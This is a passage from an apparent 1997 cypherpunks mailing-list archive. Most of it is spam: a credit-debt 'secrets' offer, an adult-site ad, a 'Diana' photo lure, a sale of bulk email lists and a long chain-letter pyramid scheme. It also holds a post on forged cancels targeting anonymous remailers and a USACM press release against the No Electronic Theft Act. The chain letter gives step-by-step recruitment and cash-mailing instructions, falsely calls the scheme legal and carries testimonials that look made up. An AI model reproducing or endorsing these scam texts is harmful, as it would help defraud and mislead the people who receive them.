demonstrate that from reason. 

Within those who identify themselves as "The Religous Right", some I agree
with and some I don't, and within both, some positions are consistent and
reasonable, and some are not.  I tend to ask silly questions like my first
response to this thread ("public" school v.s. "government" schools).  If
they accept the authority of the Bible, I can usually win the argument,
but I have taken the time to develop a Libertarian Theology.  I also argue
that they do damage to their own cause by having government try to do
things which they will fail at and both the left and the right don't like
it when I argue for separation of church and state - but say that the
state should get entirely out of things like education and charity
(welfare and healthcare) because it is none of the state's business - the
churches (and other voluntary organizations) are responsible for these
functions.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: HRaSZ4U1o@thesocket.com
Date: Sat, 22 Nov 1997 04:18:16 -0800 (PST)
To: .@netgw.aliant.com
Subject: Are You In Need Of A Lifestyle Change...?
Message-ID: <G2836>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roddaenterprises@email.msn.com
Date: Sat, 22 Nov 1997 15:43:03 -0800 (PST)
To: roddaenterprises@email.msn.com
Subject: Secrets you should know
Message-ID: <0abe315491816b7UPIMSSMTPUSR03@email.msn.com>
MIME-Version: 1.0
Content-Type: text/plain


***************************************************************************************
To be removed from future mailings, submit a blank email with "remove" as
the subject line and you will be automatically removed.
***************************************************************************************

Does your paycheck go straight to your credit card companies?  Are they charging you exorbitant interest and charging you fees for almost everything?  Or are you being denied credit because of insufficient income or a bad record?  Or perhaps you are in so much debt that you can not see a way out?  There is no reason to accept this!

We can show you how to lower your rates from 15%, 19%, or even 22% all the way down to 4.9%, how to pay off your debt quickly, how to get free cash advances, how to cut your minimum payments in half and a lot more!  We will tell you secrets that your credit card companies do not want you to know, secrets that will save you hundreds of dollars and will free you from the monthly burden of credit card debt.

Rodda Enterprises is a group dedicated to protecting consumers against credit card companies.  We have been helping consumers like you for over seven years.  We are NOT a credit repair service or a service of any kind.  We simply publish information to help consumers.

Remember what life was like before you got into debt?  You had spending power and were not burdened with high monthly payments.  Things were within your reach.  You could afford vacations and luxuries of life that are now denied you because of the high cost of credit.  We can take you back to those days and once again help you to be able to afford the pleasures of life!

Nobody should be denied cheap credit.  The competition in the credit card industry has reached an all-time high.  With so many companies competing for your business, you have the upper hand.  Even if you have bad credit or marks on your credit report, your business is still wanted by companies struggling to compete.  Discover the secrets to use this to your advantage.  We will show you how.

Try calculating how long it will take you to pay off $5000 of debt at 19.8%.  If you are only paying close to the minimum payment, then forget it!  This is part of the trap that has been set for you by your credit card companies to keep you in debt forever!  All you are doing is paying the interest that has accumulated and that will accumulate again right after you pay it!  The only way to pay off your debt is to have your rates cut below 10%.  Don't just give away your money to interest charges. Let us show you how to drastically lower your rates and get out of debt.

By lowering the rate on your existing accounts, you can save thousands of dollars a year!  Just look at the section of your bills titled "Finance Charge."  This is what you owe in interest for only that one month period!  Add up all the finance charges on all your bills and multiply that by 12 months.  This will give you an idea of how much of your money is being needlessly wasted -- we hope this calculation does not shock you too much. 

Even if you have bad credit, does it make any sense to be charged 22% interest?  All this does is make it even harder for you to pay off your debt.  We can show you ways of having this interest drastically reduced and sometimes even eliminated!  That's right, we said eliminated.  There are ways of paying zero percent that's 0% on your delinquent accounts.

Have you been offered a credit card with a $500 credit line or even one of $1000?  WHAT!!  They wanted to charge you 19.8% on that measly $500 card!  There is NO reason to accept this!!  If you have been offered a card like this then you are qualified to receive a much better card.  The only secret is knowing how and from where to get it!  We will tell you.

Even if you have been denied credit because you have too many outstanding accounts, too much debt, or insufficient income you can still get cards with higher limits and lower interest.

Don't just accept the treatment you get from your credit card companies.  There is absolutely no reason that you or anybody else should be treated this way by somebody who needs your business to survive.  Get the information you need to level the playing field and save your hard earned money.

Now, for the first time, we are releasing our secrets in print.  For a limited time only, we are distributing our secrets in an effort to change the way credit card companies do business.  Our goal is to bring the industry more in line with reality and to help the consumer.  As a result of the dramatic effect we expect this information to have on the industry, we are making it available in limited quantities to gauge its impact.  You have been selected as one of the few individuals to receive this information.

Order your copy of "Credit Card Secrets" today.  For the next 30 days it is being made available for only $9.95.  The information you will receive is worth hundreds of dollars a month to you.  Just calculate what your finance charges are as we suggested above and you will see that this low price is relatively free.  You will get this money back in just a day or two of saved finance charges.  We guarantee it!

As an added bonus, if you order within seven days of receiving this advertisement, we will include a FREE copy of  "Telephone Company Secrets".  This alone retails for $9.95 and can save you $50 to $100 a month by showing you how to get the best deals from your phone companies.  

To convince you that this is information that you should not pass up, we are offering you our special Performance Guarantee!  If "Credit Card Secrets" does not save you many, many times the $9.95 cost, return it to us and we will promptly send you a refund. Judging from the many letters of thanks we have received from our customers, we know you too will be completely satisfied and amazed by what "Credit Card Secrets" can do for you.

To order, print the form below (or copy it by hand), fill in the information and send it today with your payment of $9.95 to:

RODDA ENTERPRISES
6151 Mountain Vista Road  Suite #917
Henderson, Nevada 89014

Please send me a copy of "Credit Card Secrets".  I have enclosed my payment of $9.95.  If my payment is postmarked within seven days, please include my free copy of  "Telephone Company Secrets". 


NAME:

STREET/APT #:

CITY/STATE/ZIP:

PROMOTION CODE:  995TCS3

PLEASE TELL US THE NAMES ONLY OF YOUR WORST CARD 
COMPANIES - EXAMPLE -- MBNA, FIRST USA,  ETC...:








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: auto100@ccusa.net (Mark Bott)
Date: Sat, 22 Nov 1997 23:17:55 -0800 (PST)
To: auto100@cybercitycomm.com
Subject: Klaas Foundation 1998 Tour
Message-ID: <19971123031641078.ACR197@ccusa.net>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////
This message is intended to reach Auto Dealers & Auto Industry businesses only. If you are not an Auto related business and wish to be removed from any future contacts, please reply in the subject area only with the word "Remove" and this software will automatically block you from any future contact. 
////////////////////////////////////////////////////////////////////////////////
Attention: 
Owner - General Manager - Advertising Director
The Klaas Foundation for Children Program

"What a program! We bought the program and then put 5 sponsors together for the event. We own 7 radio stations and we have done many community projects. As you know, TV and Newspapers never support your efforts due to perceived competition. The Klaas Foundation program was the #1 story on TV and front page on the newspaper. Our sponsors were so impressed and more important, we fingerprinted 400 kids in 6 hours! 
Wayne Hardy  Atlantic Star Radio Group  Wheeling, WV

"We are the #1 volume Chrysler dealer in Texas and #6 in the country. We are very selective about who we do business with. Mark Bott is a true professional and the Klaas Foundation program is now an every year event at our store. Our customers constantly mention the program. We are proud to be a Klaas Foundation national sponsor!
Amy Bowman  Grubbs Mid-Cities  Dallas, TX 

"We had over 2800 people in our showroom on Saturday. We fingerprinted over 800 kids and in the midst of this, we sold 35 cars! Mark Bott and Marc Klaas are extremely effective in the promotion of this program and I have re-booked and sent my checks for the 1998 tour."
Darren Kirkland  Koon's World Ford   Hollywood, Florida

"I was overwhelmed with the turnout and so proud of my employees and our community. Every one in Omaha thanks me and asks when Marc Klaas will be back. I have committed to do this again next year and Norwest Bank, my cosponsor, said they are in for sure! This program still has my employees high and has spawned huge community involvement on the part of our organization. I have sold many cars to the people that I met during this program and established community, law enforcement and legislative contacts that I would have never had."
Gregg Young - Beardmore Chevrolet - Omaha, NE 


"I represent the Fulton Auto Dealers in Fulton, New York. As their advertising agency, we inspected, made calls, asked questions and brought up what ifs to Mr. Bott when he approached us on the Klaas Foundation program. We had over $400,000 in free press generated and our dealer group has re-book for 1998. We had 650 people at the Town Meeting and have recommended this program to all of our clients without hesitation."
JudySchmidt                                                                                                                                     Camilus,NY

History

During a slumber party in October of 1993, 12 year old Polly Hannah Klaas was abducted at knife-point from her Petaluma, California home. A mass distribution of over 2 billion images of Polly was sent worldwide. She had soon become a symbol of love and lost innocence.

The world froze one cold evening in December when the media reported that Polly, "America's Child," the beautiful girl with the warm brown eyes shown smiling in home videos for millions of TV viewers, was not found alive. The country was outraged. The public cried out for change in legislation and pro-action in crime prevention.

"Polly was faced with a choice few people ever have to make," said her father, Marc Klaas. "By putting herself in mortal danger to protect her family and friends, Polly has become my greatest teacher." Marc Klaas immediately dove into a campaign to put children higher on the national priority list. With no prior media, political or public speaking experience, he immediately became savvy in affecting pro-active legislation, and sought to advocate children's issues and speak out on crime prevention.

The Purpose

A 7 day march through your state to affect State and Federal legislation on the following issues.

• Raising children to the #1 priority in this country. • Keeping dangerous people behind bars.
• Making background checks mandatory for anyone that has unsupervised access to children. 
( Teachers, Coaches, Day care workers and any others that work directly with our children.)
Become a tour sponsor and join us for this March Across America with Marc Klaas!!!!!!!!!!!!!!!!!!!

For additional information to become a sponsor, please contact:
Mr. Mark J. Bott, National Program Director
Phone 217-529-4174 - Fax 217-529-4172

47 Auto Dealers and an assortment of other retail businesses hosted this program in 1997, so there are many references.   If you are interested in bringing Mr. Klaas and the power of this program to your community, please contact us today.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 76311928@24496.com
Date: Sat, 22 Nov 1997 23:48:53 -0800 (PST)
To: Friend@public.com
Subject: Jealously Guarded Secrets Revealed.....
Message-ID: <1023101@savoynet.com>
MIME-Version: 1.0
Content-Type: text/plain


Increase your income dramatically + gain invaluable knowledge
with this cutting edge information.
Take control of your life!
Do you want to ride?Or do you want to drive????
go to:
http://members.tripod.com/~cana2/
See you there!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: noreply@noreply.net
Date: Sat, 22 Nov 1997 23:44:16 -0800 (PST)
To: InternetUser@the.net
Subject: Get Your Mailbox Stuffed with CASH for the Holidays!
Message-ID: <199711230734.QAA42034@parsley.people.or.jp>
MIME-Version: 1.0
Content-Type: text/plain


I Never Thought I'd Be the One Telling You This...

I Actually Read a Piece of E-Mail,
And Now I'm Going to Europe for the Holidays!



Hello!

My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time
accountant.  As a rule, I delete all unsolicited "junk" e-mail and use
my
account primarily for business.  I received what I assumed was this same
e-mail countless times and deleted it each time.

About two months ago I received it again and, because of the catchy
subject
line,  I finally read it.  Afterwards, I thought , "OK, I give in, I'm
going
to try this.  I can certainly afford to invest $20 and, on the other
hand,
there's nothing wrong with creating a little excess cash."  I promptly
mailed
four $5 bills and, after receiving the reports, paid a friend of mine a
small
fee to send out some e-mail advertisements for me.  After reading the
reports, I also learned how easy it is to bulk e-mail for free! 

I was not prepared for the results.  Everyday for the last six weeks, my
P.O.
box has been overflowing with $5 bills; many days the excess fills up an
extra mail bin and I've had to upgrade to the corporate-size box!  I am
stunne
d by all the cash  that keeps rolling in!

My husband and I have been saving for several years to make a
substantial
downpayment on a house.  Now, not only are we purchasing a house with
40%
down, we're going to Venice, Italy for the holidays to celebrate!

I promise you, if you follow the directions in this e-mail and be
prepared to
eventually set aside about an hour each day to follow up (and count your
money!), you will make at least as much money as we did.  You don't need
to
be a wiz at the computer, but I'll bet you already are.   If you can
open an
envelope, remove the money, and send an e-mail message, then you're on
your
way to the bank.  Take the time to read this so you'll understand how
easy it
is.  If I can do this, so can you!

                                                  GO FOR IT NOW!


.........Karen Liddell



The following is a copy of the e-mail I read:



$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

This is a LEGAL, LOW-COST, MONEY-MAKING PHENOMENON.

PRINT this letter, read the directions, THEN GET STARTED TODAY!



You are about to embark on the most profitable and unique program you
may
ever see.  Many times over, it has demonstrated and proven its ability
to
generate large amounts of cash.  This program is showing fantastic
appeal
with a huge and ever-growing on-line population desirous of additional
income.

This is a legitimate, LEGAL, money-making opportunity.  It does not
require
you to come in contact with people, do any hard work, and best of all,
you
never have to leave the house, except to get the mail and go to the
bank!

This truly is that lucky break you've been waiting for!  Simply follow
the
easy instructions in this letter, and your financial dreams will come
true!
When followed correctly, this electronic, multi-level marketing program
works
perfectly... 100% OF THE TIME!

Thousands of people have used this program to:

    -  Raise capital to start their own business
    -  Pay off debts
    -  Buy homes, cars, etc.,
    -  Even retire!

This is your chance, so read on and get started today!



------------------------------------------------------------------------------
----
OVERVIEW OF THIS EXTRAORDINARY 
ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
------------------------------------------------------------------------------
----



Basically, this is what we do:

We send thousands of people a product for $5.00 that costs next to
nothing to
produce and e-mail. As with all multi-level businesses, we build our
business
by recruiting new partners and selling our products.  Every state in the
U.S.
allows you to recruit new multi- level business online (via your
computer).

The products in this program are a series of four business and financial
reports costing $5.00 each.  Each order you receive via "snail mail"
will
include:

  * $5.00 cash
  * The name and number of the report they are ordering
  * The e-mail address where you will e-mail them the report they
     ordered.

To fill each order, you simply e-mail the product to the buyer.  THAT'S
IT!  T
he $5.00 is yours!  This is the EASIEST electronic multi-level marketing
business anywhere! 



FOLLOW THE INSTRUCTIONS TO THE LETTER AND
BE PREPARED TO REAP THE STAGGERING BENEFITS!

******* I  N  S  T  R  U  C  T  I  O  N  S *******



This is what you MUST do:

1. Order all 4 reports shown on the list below (you can't sell them if
you
don't order them).

     *  For each report, send $5.00 CASH, the NAME &amp; NUMBER OF THE
        REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
        NAME &amp; RETURN ADDRESS (in case of a problem) to the person
        whose name appears on the list next to the report. MAKE SURE
        YOUR RETURN ADDRESS IS ON YOUR ENVELOPE IN CASE OF ANY
        MAIL PROBLEMS!

     *  When you place your order, make sure you order each of the
        four reports.  You will need all four reports so that you can
save
        them on your computer and resell them.

     *  Within a few days you will receive, via e-mail, each of the four
        reports. Save them on your computer so they will be accessible
        for you to send to the 1,000's of people who will order them
        from you.

2.  IMPORTANT-- DO NOT alter the names of the people who are listed
     next to each report, or their sequence on the list, in any way
other
     than is instructed below in steps "a" through "f" or you will lose
     out on the majority of your profits.  Once you  understand the way
     this works, you'll also see how it doesn't work if you change it.
     Remember, this method has been tested, and if you alter it, it will
     not work. ( I talked to a friend last month who has also done this
     program.  He said he had tried "playing" with it to change the
     results.  Bad idea.... he never got as much money as he did with
     the un-altered version.  Remember, it's a proven method!

    a.  Look below for the listing of available reports.

    b.  After you've ordered the four reports, take this advertisement
and 
         remove the name and address under REPORT #4. This person has 
         made it through the cycle and is no doubt counting their 50
grand!

    c.  Move the name and address under REPORT #3 down to  REPORT #4.  

    d.  Move the name and address under REPORT #2 down to REPORT #3.

    e.  Move the name and address under REPORT #1 down to REPORT #2.

    f.  Insert your name/address in the REPORT #1 position.



Please make sure you copy every name and address ACCURATELY!



3.  Take this entire letter, including the modified list of names, and
     save it to your computer.  Make NO changes to the instruction
     portion of this letter.

4.  Now you're ready to start an advertising campaign on the
     INTERNET!  Advertising on the 'Net is very, very inexpensive,
     and there are HUNDREDS of FREE places to advertise. Another
     avenue which you could use for advertising is e-mail lists.  
     You can buy these lists for under $20/2,000 addresses or you
     can pay someone a minimal charge to take care of it for you. 
     BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!

5.  For every $5.00 you receive, all you must do is e-mail them the
     report they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY
     SERVICE ON ALL ORDERS!  This will guarantee that the e-mail THEY
     send out, with YOUR name and address on it, will be prompt
     because they can't advertise until they receive the report!



------------------------------------------
AVAILABLE REPORTS
------------------------------------------

*** Order Each REPORT by NUMBER and NAME ***



Notes:

-  ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT
   CHECKS NOT ACCEPTED
-  ALWAYS SEND YOUR ORDER VIA FIRST CLASS  MAIL 
-  Make sure the cash is concealed by wrapping it in at least two
   sheets of paper  
-  On one of those sheets of paper, include: (a) the number &amp; name
   of the report you are ordering, (b) your e-mail address, and
   (c) your name &amp; postal address.



PLACE YOUR ORDER FOR THESE REPORTS NOW:


_______________________________________________________________

REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 

      ORDER REPORT #1 FROM:  


            TML
            P.O Box 383
            Pacifica, Ca 94044


______________________________________________________________

REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

      ORDER REPORT #2 FROM:

            NDZ &amp; Co.
            P.O Box 7277
            Atlanta, Ga 30357-0277
_______________________________________________________________

REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

      ORDER REPORT #3 FROM:

            FML
            P.O. Box 927603
            San Diego, CA  92192-0603
_______________________________________________________________

REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"

      ORDER REPORT #4 FROM:

            Marico
            2350 Spring Road #30-194
            Smyrna, Ga 30080
_______________________________________________________________



------------------------------------------------------------------------------
------------------
HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
------------------------------------------------------------------------------
------------------



Let's say you decide to start small just to see how well it works.
Assume
your goal is to get 10 people to participate on your first level.
(Placing a
lot of FREE ads on the internet will EASILY get a larger response.) Also
assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline
members.
 Follow this example to achieve the STAGGERING results below.

1st level--your 10 members with
$5............................................$50
2nd level--10 members from those 10 ($5 x 100).....................$500
3rd level--10 members from those 100 ($5 x 1,000)............$5,000
4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
                      THIS TOTALS        -----------$55,550

Remember friends, this assumes that the people who participate only
recruit
10 people each.  Think for a moment what would happen if they got 20
people
to participate!  Most people get 100's of participants! THINK ABOUT IT!

Your cost to participate in this is practically nothing (surely you can
afford $20). You obviously already have an Internet connection and
e-mail is
FREE! 

REPORT#3 shows you the most productive methods for bulk e-mailing and
purchasing e-mail lists.  Some list &amp; bulk e-mail vendors even work
on
trade!



About 50,000 new people get online every month!

******* TIPS FOR SUCCESS *******



 *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and
     follow the directions accurately.

 *  Send for the four reports IMMEDIATELY so you will have them
    when the orders start coming in because:

        When you receive a $5 order, you MUST send out the requested
        product/report to comply with the U.S. Postal &amp; Lottery
Laws,
Title
        18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S.
Code,
        also Code of Federal Regs. vol. 16, Sections 255 and 436, which
state

        that "a product or service must be exchanged for money
received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

 *  Be patient and persistent with this program. If you follow the 
    instructions exactly, your results WILL be SUCCESSFUL!

 *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL
    SUCCEED!




******* YOUR SUCCESS GUIDELINES *******



Follow these guidelines to guarantee your success:

If you don't receive 10 to 20 orders for REPORT #1 within two weeks,
continue
advertising until you do.  Then, a couple of weeks later you should
receive
at least 100 orders for REPORT #2.  If you don't, continue advertising
until
you do.

Once you have received 100 or more orders for REPORT #2, YOU CAN RELAX,
because the system is already working for you, and the cash will
continue to
roll in!

THIS IS IMPORTANT TO REMEMBER:

Every time your name is moved down on the list, you are placed in front
of a
DIFFERENT report.  You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you.  If you want to generate more
income,
send another batch of e-mails and start the whole process again!  There
is no
limit to the income you will generate from this business!




******* T  E  S  T  I  M  O  N  I  A  L  S *******



     This program does work, but you must follow it EXACTLY!  Especially
the
rule of not trying to place your name in a different position, it won't
work
and you'll lose a lot of potential income.  I'm living proof that it
works.
 It really is a great opportunity to make relatively easy money, with
little
cost to you.  If you do choose to participate, follow the program
exactly,
and you'll be on your way to financial security. 
          Sean McLaughlin, Jackson, MS

     My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am a
cost
accountant with a major U.S. Corporation and I make pretty good money.
When I
received the program I grumbled to Doris about receiving "junk mail." I
made
fun of the whole thing, spouting my knowledge of the population and
percentages involved.  I "knew" it wouldn't work. Doris totally ignored
my
supposed intelligence and jumped in with both feet. I made merciless fun
of
her, and was ready to lay the old "I told you so" on her when the thing
didn't work... well, the laugh was on me!  Within two weeks she had
received
over 50 responses. Within 45 days she had received over $147,200 in $5
bills!
I was shocked!  I was sure that I had it all figured and that it
wouldn't
work.  I AM a believer now. I have joined Doris in her "hobby."   I did
have
seven more years until retirement, but I think of the "rat race" and
it's not
for me. We owe it all to MLM.
           Frank T., Bel-Air, MD

    I just want to pass along my best wishes and encouragement to you. 
Any
doubts you have will vanish when your first orders come in. I even
checked
with the U.S. Post Office to verify that the plan was legal. It
definitely
is! IT WORKS!!!
           Paul Johnson, Raleigh, NC

    The main reason for this letter is to convince you that this system
is
honest, lawful, extremely profitable, and is a way to get a large amount
of
money in a short time. I was approached several times before I checked
this
out. I joined just to see what one could expect in return for the
minimal
effort and money required.  To my astonishment, I received $36,470.00 in
the
first 14 weeks, with money still coming in.
           Sincerely yours, Phillip A. Brown, Esq.

    Not being the gambling type, it took me several weeks to make up my
mind
to participate in this plan. But conservative that I am, I decided that
the
initial investment was so little that there was just no way that I
wouldn't
get enough orders to at least get my money back. Boy, was I surprised
when I
found my medium-size post office box crammed with orders!  For awhile,
it got
so overloaded that I had to start picking up my mail at the window. I'll
make
more money this year than any 10 years of my life before. The nice thing
about this deal is that it doesn't matter where in the U.S. the people
live.
There simply isn't a better investment with a faster return.
         Mary Rockland, Lansing, MI

    I had received this program before. I deleted it, but later I
wondered if
I shouldn't have given it a try. Of course, I had no idea who to contact
to
get another copy, so I had to wait until I was e-mailed another
program...11
months passed then it came...I didn't delete this one!...I made more
than
$41,000 on the first try!!
          D. Wilburn, Muncie, IN

     This is my third time to participate in this plan. We have quit our
jobs, and will soon buy a home on the beach and live off the interest on
our
money.  The only way on earth that this plan will work for you is if you
do
it. For your sake, and for your family's sake don't pass up this golden
opportunity.  Good luck and happy spending!
           Charles Fairchild, Spokane, WA




ORDER YOUR REPORTS TODAY AND
GET STARTED ON YOUR ROAD TO 
FINANCIAL FREEDOM!

NOW  IS THE TIME FOR YOUR TURN

DECISIVE ACTION YIELDS
POWERFUL RESULTS




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: neo71@kitsa.com
Date: Sun, 23 Nov 1997 10:09:05 -0800 (PST)
To: neo71@kitsa.com
Subject: XXX ADULT ENTERTAINMENT
Message-ID: <199711231985WAA18921@post.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 17796960@ascella.net
Date: Sun, 23 Nov 1997 12:12:23 -0800 (PST)
To: succeed@ascella.net
Subject: -->Your Web Site Design = $39 EXCLUSIVE Sale
Message-ID: <199702170025.GAA08056@yoursite.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: esoftware@hotmail.com
Date: Sun, 23 Nov 1997 19:03:42 -0800 (PST)
To: EmailUsers@ix.netcom.com
Subject: HERE IT IS!
Message-ID: <199711240303.VAA02087@dfw-ix15.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Just wanted to pass along some info about a new piece of software I now call my 
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instantly.  Simple.

Take care. I'll talk to you later,
Kim





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paparazzi@www.kornet.nm.kr
Date: Mon, 24 Nov 1997 19:44:16 -0800 (PST)
To: info@press119.com
Subject: DIANA : The Unrevealed Pics (NEW URL)
Message-ID: <38101371991.CAB42044@press119.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
Note : If you want your name permanently REMOVED from this list, please e-mail :
removelist@mlweb.com

For the first time on the internet, here are the UNREVEALED pics of DIANA !
Given the sensitive nature of the materials involved, only adults will access the site.
Go to http://151.196.201.51/diana/



</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: veronica_65@hotmail.com
Date: Mon, 24 Nov 1997 21:19:55 -0800 (PST)
To: veronica_65@hotmail.com
Subject: Free Video Sex
Message-ID: <0000000000.AAA000@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


****************Attention Video Sex Lovers*****************
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Mon, 24 Nov 1997 12:40:30 -0800 (PST)
To: mail2news@anon.lcs.mit.edu
Subject: Re: Why posts are not appearing in NG.
In-Reply-To: <199711240215.DAA29717@basement.replay.com>
Message-ID: <19971124204002.8181.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


nobody@REPLAY.COM (Anonymous) wrote:

> Anonimity has already been lost due to the fact that if some
> ass who is a control freak keeps posting crap to the
> news.lists.filters newsgroup. Go ahead an see for yourselves
> how many groups have been eliminated from receiving posts from
> anonymous remailers. All that need be done is post some spam
> through the anonymous remailer to a legitimate group, make a
> request to cancel all postings to the newsgroup from that remailer
> and guess what, your posts will no longer appear in the newsgroup.
> 
> No investigation, no nothing! Just like that all posts from an
> anonymous remailer stop appearing in a group.
> So if your posts are not appearing on a particular newsgroup,
> chances are that it has been prevented from accepting posts due
> to idiots that just do as they are requested. By the way, who has
> authority to just terminate (restrict the acceptance of posts)
> to a newsgroup?
> Do not believe it? Go to Deja News, go to power search and type in
> the following (anonymous and news.lists.filters) and see what
> the results are. Shocking. Someone or group of individuals is
> abusing this privalage and must be exposed/dealt with accordingly.

That's becoming old hat with the censorious control freaks.  If they don't 
like what's being posted anonymously, the post a whole bunch of anonymous 
"abuse" themselves, then turn around and demand that "something to be done 
to stop this abuse".  It's gotten remailers banned from posting through 
certain mail2news gateways, and even gotten remailers (like Mailmasher,
Huge Cajones, and Lucifer) shut down entirely.

In many cases, it's not hard to figure out who's doing it.  Just look for
posts where anonymous posters are called "anonymous assholes", accused of
"hiding behind the skirts of a remailer", etc.  For info on the attack on
Jeff Burchell's remailers, visit:

 http://calvo.teleco.ulpgc.es/listas/cypherpunks-unedited@toad.com/HTML-1997-11/msg00536.html

-or-

 http://infinity.nus.sg/cypherpunks/dir.archive-97.11.13-97.11.19/0432.html

> One of the biggest abusers of this practice is at
> Unknown News Administrator <news@news.msfc.nasa.gov>
> 8862 news.admin.net-abuse.bulletins
> This individual posts requests through legitimate servers and is
> slowly eroding the anonymous posts purpose.
> Go ahead and check to see if the newsgroup you post to is on the
> list and report back to the group.
   
If you'll visit the "control" NG, you'll find see that <news@news.msfc.nasa.gov>
is forging a lot of cancel messages to kill anonymous posts.  Perhaps a
complaint to NASA is in order to protest government computers being used
for forgery. And if someone is also forging a NASA address to make them look
bad at the same time, then they need to know about that, too.

--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ipitco@hotmail.com
Date: Tue, 25 Nov 1997 10:22:18 -0800 (PST)
To: Friend@public.com
Subject: 1 Million for $1.60
Message-ID: <98333241851110312.5421@ipit.co.th>
MIME-Version: 1.0
Content-Type: text/plain


" RATED THE  # 1 OPPORTUNITY ON THE INTERNET ! "

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Get a list of one million fresh, clean addresses each week for one 
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* FREE web page with secure order form *
* Just promote it. We do all the selling ! * 

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 http://www.edgetone.com/industry2/resellers/resell599.html
                                   







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: USACM Washington Office <usacm_dc@acm.org>
Date: Tue, 25 Nov 1997 12:07:40 -0800 (PST)
To: press <usacm_dc@acm.org>
Subject: USACM Calls on Pres Clinton to Veto HR 2265
Message-ID: <v03110700b0a0dc7f4ab8@[204.91.138.218]>
MIME-Version: 1.0
Content-Type: text/plain


PRESS RELEASE

TUESDAY, NOVEMBER 25, 1997

COMPUTER SCIENTISTS URGE PRESIDENT CLINTON TO VETO LEGISLATION
RESTRICTING FLOW OF SCIENTIFIC INFORMATION

Computer scientists fear that legislation rushed through in the closing
days of Congress may inadvertently criminalize many scientific publications
that are freely available on the Internet today. They are calling on the
President to veto the measure.

The Association for Computing's U.S. Public Policy Committee (USACM) said
that the legislation could lead to criminal prosecutions against
scientists, educators and others who do nothing more than share their own
articles on the Internet with students and colleagues.  According to USACM
Chair Dr. Barbara Simons, "This legislation was hurried through Congress,
was poorly drafted, and is likely to have many unintended consequences."

The "No Electronic Theft Act" would criminalize the copying of materials
which are currently protected under the well established U.S. doctrine of
Fair-Use. According to the Act, any person who infringes a copyright
willfully, by the electronic reproduction or distribution of one or more
copies which have a total retail value of more than $1000 dollars, will be
subject to a criminal prosecution.

The scientists say that an essential element of research is that papers
be reviewed by others.  Scientists submit papers describing their research
to scientific journals which facilitate the peer-review process.  The
journals then print the reviewed papers and thus own their copyrights.
Since the Internet's development, researchers have used it to make their
research widely available to others in their field.  According to the
letter, "Under the No Electronic Theft Act, an author who posts their
research on the Internet, and whose documents are frequently read on-line,
could be subject to criminal prosecution."

USACM argues that the No Electronic Theft Act will have a chilling effect
upon the free speech of scientists and professionals in universities and
research labs.  Universities may forbid scientists from publishing their
research on- line, or reading and reviewing other scientist's research
on-line, to avoid the potential of massive copyright litigation.

According to Dr. Simons "This legislation is clearly contrary
to the White House's stated goal of avoiding Internet regulation. We
believe it is inconsistent with the Administration's policy to promote
dramatically expansive laws for the Internet where other less burdensome
means may be available to address copyright concerns."

The Association for Computing (ACM) is the largest and oldest professional
association of computer scientists in the United States.  ACM's U.S. Public
Policy Committee (USACM) facilitates communications between computer
scientists and policy makers on issues of concern to the computing community.

For more information, Please contact:


Barbara Simons, Chair, USACM: 408/256-3661, simons@VNET.IBM.COM
David Farber, USACM:  215/898-9508, farber@cis.upenn.edu
Lauren Gelman, Associate Director, USACM, 202/544-4859, gelman@acm.org

http://www.acm.org/usacm/copyright/

_____________________
November 25, 1997

President William J. Clinton
1600 Pennsylvania Ave., NW
Washington, DC 20500

Dear President Clinton:

	The Association for Computing's U.S. Public Policy Committee
believes that the  "No Electronic Theft Act" (H.R. 2265), which is now
before you, does not adequately reflect the nature of the new digital
environment and will have a  negative impact on the rich scientific
communications that have developed on the Internet in many fields,
including computer science.  For this reason, we are asking you to veto the
legislation. We agree that copyright holders have a legitimate need to
protect their intellectual property.  However,  we are concerned that the
